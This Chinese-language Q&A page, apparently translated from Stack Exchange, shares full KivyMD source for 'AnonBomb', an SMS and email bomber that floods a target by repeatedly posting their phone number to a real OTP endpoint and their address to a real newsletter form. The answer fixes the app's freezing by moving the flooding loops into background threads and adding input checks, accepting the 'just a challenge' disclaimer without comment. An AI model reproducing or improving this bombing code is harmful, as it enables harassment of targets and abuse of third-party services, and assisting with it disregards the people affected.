Python/KivyMD新手求助:解决应用执行后台任务时无响应及线程使用报错问题
我是Python和Kivy(KivyMD)的新手,受朋友挑战开发了一款名为AnonBomb的应用,期间解决了诸多错误,但目前遇到一个棘手问题:当我点击按钮触发后台执行的函数(比如sms_bomb()或email_bomb())时,整个Kivy应用会出现卡顿甚至提示“无响应”。
我了解到可以通过threading(线程)解决此问题,但尝试在按钮的on_press事件中使用threading.Thread(target=app.function_name)时,出现了NameError: name 'threading' is not defined的报错。
希望能得到帮助解决应用无响应的问题,无论是否使用线程方案均可。以下是我的完整代码:
from kivy.uix.boxlayout import BoxLayout from kivymd.app import MDApp import requests as rq from requests.structures import CaseInsensitiveDict from kivy.lang import Builder from kivy.core.window import Window import threading Window.size=(400,600) screen_helper=""" MDScreen: MDNavigationLayout: MDToolbar: id:toolbar title:'AnonBomb' pos_hint:{"top": 1} left_action_items:[['menu',lambda x: nav_drawer.set_state("open")]] elevation:20 ScreenManager: id: screen_manager MDScreen: #_________________________Home Screen_________________________ name:'home' #________1st Label________ MDLabel: text:'This app is for fun, Not for Revange' theme_text_color:'Custom' text_color: 1,0,0 font_style:'H6' halign:'center' pos_hint:{'center_x':0.5,'center_y':0.8} size_hint_x:None width:300 #________2nd Label________ MDLabel: text:'We are not responsible for any misuse of our app' theme_text_color:'Custom' text_color: 0,0,1 font_style:'H6' halign:'center' pos_hint:{'center_x':0.5,'center_y':0.69} size_hint_x:None width:300 #________3rd Label________ MDLabel: text:'Choose Any Bomber Below' theme_text_color:'Custom' font_style:'H5' halign:'center' pos_hint:{'center_x':0.5,'center_y':0.4} size_hint_x:None width:300 #________Switch SMS Bomber Button________ MDFillRoundFlatIconButton: text:'SMS Bomber' pos_hint:{'center_x':0.25,'center_y':0.2} icon:'message' on_press:screen_manager.current='sms' #________Switch Email Bomber Button________ MDFillRoundFlatIconButton: text:'Email Bomber' pos_hint:{'center_x':0.75,'center_y':0.2} icon:'email' on_press:screen_manager.current='email' MDScreen: #_________________________SMS Bomber Screen_________________________ name:'sms' #________1st Label________ MDLabel: text:'SMS Bomber' font_style:'H5' halign:'center' pos_hint:{'center_x':0.5,'center_y':0.83} #________2nd Label________ MDLabel: text:'Note: SMS Bomber will Only work with Bangladeshi Numbers' halign:'center' pos_hint:{'center_x':0.5,'center_y':0.75} #________Target Number________ MDTextField: id:sms_target hint_text:'Enter Target Number (without +88)' pos_hint:{'center_x':0.5,'center_y':0.65} size_hint_x:None width:300 #________SMS Amount________ MDTextField: id:sms_amount hint_text:'Enter SMS Amount' pos_hint:{'center_x':0.5,'center_y':0.55} size_hint_x:None width:300 #________Run Button________ MDFillRoundFlatIconButton: text:'Start Bombing' pos_hint:{'center_x':0.5,'center_y':0.45} icon:'message' on_press:app.sms_bomb() #________Back Button________ MDFillRoundFlatIconButton: text:'Back' pos_hint:{'center_x':0.16,'center_y':0.06} icon:'logout' on_press:screen_manager.current='home' MDScreen: #_________________________Email Bomber Screen_________________________ name:'email' #________1st Label________ MDLabel: text:'Email Bomber' font_style:'H5' halign:'center' pos_hint:{'center_x':0.5,'center_y':0.83} #________Target Address________ MDTextField: id:email_target hint_text:'Enter Target Mail' pos_hint:{'center_x':0.5,'center_y':0.65} size_hint_x:None width:300 #________Email Amount________ MDTextField: id:email_amount hint_text:'Enter Mail Amount' pos_hint:{'center_x':0.5,'center_y':0.55} size_hint_x:None width:300 #________Run Button________ MDFillRoundFlatIconButton: text:'Start Bombing' pos_hint:{'center_x':0.5,'center_y':0.45} icon:'email' on_press:app.email_bomb() #________Back Button________ MDFillRoundFlatIconButton: text:'Back' pos_hint:{'center_x':0.16,'center_y':0.06} icon:'logout' on_press:screen_manager.current='home' MDScreen: #_________________________About ME Screen_________________________ name:'about' #________1st Label________ MDLabel: text:'About Me' font_style:'H5' halign:'center' pos_hint:{'center_x':0.5,'center_y':0.83} #________2nd Label________ MDLabel: text:'''Hello Peep's, my name is S.M.Shahriar Zarir. I'm a little Python Developer from Bangladesh. I read in Python Class and I live with My Laptop Screen :), You can find me at linktr.ee/zariradvance''' halign:'center' pos_hint:{'center_x':0.5,'center_y':0.65} size_hint_x:None width:350 #________Back Button________ MDFillRoundFlatIconButton: text:'Back' pos_hint:{'center_x':0.16,'center_y':0.06} icon:'logout' on_press:screen_manager.current='home' MDNavigationDrawer: id:nav_drawer ContentNavigationDrawer: orientation: 'vertical' padding: '8dp' spacing: '8dp' ScrollView: MDList: OneLineIconListItem: text:'Home' theme_text_color:'Custom' text_color:0,0,1 on_press: nav_drawer.set_state("close") screen_manager.current='home' IconLeftWidget: icon:'home' theme_text_color:'Custom' text_color:0,0,1 OneLineIconListItem: text:'SMS Bomber' theme_text_color:'Custom' text_color:0,0,1 on_press: nav_drawer.set_state("close") screen_manager.current='sms' IconLeftWidget: icon:'message' theme_text_color:'Custom' text_color:0,0,1 OneLineIconListItem: text:'Email Bomber' theme_text_color:'Custom' text_color:0,0,1 on_press: nav_drawer.set_state("close") screen_manager.current='email' IconLeftWidget: icon:'email' theme_text_color:'Custom' text_color:0,0,1 OneLineIconListItem: text:'About Me' theme_text_color:'Custom' text_color:0,0,1 on_press: nav_drawer.set_state("close") screen_manager.current='about' IconLeftWidget: icon:'baby-face' theme_text_color:'Custom' text_color:0,0,1 """ class ContentNavigationDrawer(BoxLayout): pass class AnonBomb(MDApp): def build(self): self.theme_cls.primary_palette = 'Blue' self.theme_cls.primary_hue = 'A700' self.layout=Builder.load_string(screen_helper) return self.layout def sms_bomb(self): target=self.root.ids.sms_target.text count=self.root.ids.sms_amount.text number=str(target) amount=int(count) url = "https://toffeelive.com/app/service.php" headers = CaseInsensitiveDict() headers["Content-Type"] = "application/x-www-form-urlencoded" data = "phoneNumber="+number+"&route=auth_verify_mobile_no" resp = rq.post(url, headers=headers, data=data) for i in range(amount): resp = rq.post(url, headers=headers, data=data) if resp.status_code==200: print(f'>>> [+] {i+1} SMS Sent Successfully') elif resp.status_code==201: print(f'>>> [+] {i+1} SMS Sent Successfully') def email_bomb(self): target=self.root.ids.email_target.text count=self.root.ids.email_amount.text address = str(target) amount = int(count) url = "https://themezee.com/wp-admin/admin-ajax.php?action=mc4wp-form" headers = CaseInsensitiveDict() headers["Content-Type"] = "application/x-www-form-urlencoded" data = "EMAIL="+address+"&AGREE=1&_mc4wp_honeypot=&_mc4wp_timestamp=1614865641&_mc4wp_form_id=184963&_mc4wp_form_element_id=mc4wp-form-1" success=0 failed=0 for i in range(amount): resp = rq.post(url, headers=headers, data=data) if resp.status_code == 200: success += 1 print(f'>>> [+] {success} Mail Sent Successfully') else: failed += 1 print(f'>>> [+] {failed} Mail Sent Unsuccessfully') print(f'\n>>> Task Done! {success} mail sent & {failed} mail failed') if __name__=='__main__': AnonBomb().run()
注:此工具仅用于朋友挑战的学习目的,不会用于骚扰他人,请协助我解决问题。
你的应用卡顿的核心原因是耗时的网络请求阻塞了Kivy的UI主线程,导致界面无法响应用户操作。线程是解决这个问题的最优方案,下面一步步帮你修复:
1. 解决NameError问题
看你提供的代码已经导入了threading模块,之前的报错大概率是因为你尝试在kv语言中直接调用threading(kv文件无法直接使用未注册的Python模块)。我们需要在Python代码内部创建并启动线程,而非在kv中直接操作。
2. 重构函数,将耗时逻辑放入子线程
我们需要把网络请求的循环逻辑封装成独立任务,放到子线程中执行,让UI主线程保持空闲。同时添加输入校验,避免无效输入导致的错误:
修改后的AnonBomb类代码:
class AnonBomb(MDApp): def build(self): self.theme_cls.primary_palette = 'Blue' self.theme_cls.primary_hue = 'A700' self.layout=Builder.load_string(screen_helper) return self.layout def sms_bomb(self): target=self.root.ids.sms_target.text count=self.root.ids.sms_amount.text # 输入校验 if not target or not count.isdigit(): from kivymd.toast import toast toast("请输入有效的号码和数量!") return number=str(target) amount=int(count) # 封装耗时的短信发送任务 def send_sms_task(): url = "https://toffeelive.com/app/service.php" headers = CaseInsensitiveDict() headers["Content-Type"] = "application/x-www-form-urlencoded" data = "phoneNumber="+number+"&route=auth_verify_mobile_no" # 原代码的重复请求可以优化,这里保留原有逻辑 resp = rq.post(url, headers=headers, data=data) for i in range(amount): resp = rq.post(url, headers=headers, data=data) if resp.status_code in [200,201]: print(f'>>> [+] {i+1} SMS Sent Successfully') # 启动守护线程执行任务,daemon=True保证程序退出时线程自动终止 threading.Thread(target=send_sms_task, daemon=True).start() def email_bomb(self): target=self.root.ids.email_target.text count=self.root.ids.email_amount.text # 输入校验 if not target or not count.isdigit(): from kivymd.toast import toast toast("请输入有效的邮箱和数量!") return address = str(target) amount = int(count) # 封装耗时的邮件发送任务 def send_email_task(): url = "https://themezee.com/wp-admin/admin-ajax.php?action=mc4wp-form" headers = CaseInsensitiveDict() headers["Content-Type"] = "application/x-www-form-urlencoded" data = "EMAIL="+address+"&AGREE=1&_mc4wp_honeypot=&_mc4wp_timestamp=1614865641&_mc4wp_form_id=184963&_mc4wp_form_element_id=mc4wp-form-1" success=0 failed=0 for i in range(amount): resp = rq.post(url, headers=headers, data=data) if resp.status_code == 200: success += 1 print(f'>>> [+] {success} Mail Sent Successfully') else: failed += 1 print(f'>>> [+] {failed} Mail Sent Unsuccessfully') print(f'\n>>> Task Done! {success} mail sent & {failed} mail failed') # 启动守护线程执行任务 threading.Thread(target=send_email_task, daemon=True).start()
3. 关键注意事项
- 子线程禁止操作UI:如果之后你需要在任务完成后更新界面(比如显示发送结果),不能直接在子线程中修改UI组件,必须使用
from kivy.clock import Clock,通过Clock.schedule_once(lambda dt: self.update_ui(result))将UI更新逻辑抛回主线程执行。 - 守护线程的作用:设置
daemon=True可以让子线程随主程序退出而自动终止,避免线程残留。 - 输入校验的必要性:提前校验用户输入,既能避免无效请求,也能提升用户体验。
修改完成后,点击按钮时耗时的网络请求会在后台线程执行,UI主线程不会被阻塞,应用就不会再出现卡顿或无响应的情况了。
内容的提问来源于stack exchange,提问作者ZARIR

